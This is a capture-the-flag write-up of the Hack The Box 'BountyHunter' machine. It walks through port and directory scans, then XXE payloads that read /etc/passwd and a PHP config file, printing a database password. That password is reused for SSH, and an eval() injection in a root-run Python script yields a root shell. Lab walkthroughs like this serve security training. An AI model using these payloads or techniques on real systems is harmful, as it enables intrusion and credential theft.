BountyHunter Writeup

04 January 2023 #CTF #HTB #box #easy #linux

bountyhunter info


Hunting for bugs? Run nmap:

$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d44cf5799a79a3b0f1662552c9531fe1 (RSA)
|   256 a21e67618d2f7a37a7ba3b5108e889a6 (ECDSA)
|_  256 a57516d96958504a14117a42c1b62344 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


We can use the ssh banner to fingerprint the OS version. In this case, we learn that the box is running Ubuntu 20.04 (Focal) and this OpenSSH package was published in March 2021.


Going to the website, we get a standard page:


Before running a gobuster we can try accessing the page with /index.php to see if the site is running php. In this case it does, so we'll add the extension to the scan:

$ gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,txt -o enum/root.dir
/index.php        (Status: 200) [Size: 25169]
/css              (Status: 301) [Size: 310] [-->]
/db.php           (Status: 200) [Size: 0]
/assets           (Status: 301) [Size: 313] [-->]
/resources        (Status: 301) [Size: 316] [-->]
/.                (Status: 200) [Size: 25169]
/portal.php       (Status: 200) [Size: 125]
/js               (Status: 301) [Size: 309] [-->]
/server-status    (Status: 403) [Size: 277]

I filtered 403 responses from Apache.

There is a /db.php which sounds interesting, but we can't view it for now.

/resources has directory listing enabled:

open dir /resources

Let's take a look at README.txt:


These info might come in handy for us later on.

/portal.php just has another link:


Let's follow it:


We can send a bounty report:

send report

Let's intercept the request in Burp to see what it is doing:

request in Burp

It's a POST request with only 1 parameter. If we select the value, the Inspector side-windows will decode the base64 for us:

decoded base64


We are actually sending XML data to the server, so let's try a XXE attack. We'll copy the XML to a file on our box and modify it a bit:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM 'file:///etc/passwd'> ]>

We defined an external entity at the top and referenced it in the 'reward' tag.

We still have to base64 encode our payload:

$ base64 -w 0 xxe.xml | sed 's/+/%2B/g'

We pipe the output to sed to replace each + character by its HTML encoding representation, otherwise it would be interpreted as a space.

Let's submit it:

xxe worked

It works! Now let's try to view a more juicy file like the /db.php we saw with the gobuster scan:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=db.php'> ]>

We have to use a php filter to encode the file in base64 to actually see the contents of php files.

After submiting and decoding it we get this:

// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

There is a 'development' account in /etc/passwd so we can try reusing the DB password with ssh:

$ ssh development@
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)


As per usual we should start by checking sudo rules:

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/

Code Analysis

We can run this ticketValidator python script as root without password. Let's take at look:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")




Let's create the file:

# Skytrain Inc
## Ticket to root
__Ticket Code:__

Since we are in an eval statement, we can't use the classic import, so we use the built-in __import__() function to execute system() and get a shell.

Let's try it:

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/
Please enter the path to the ticket file.
Destination: root
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways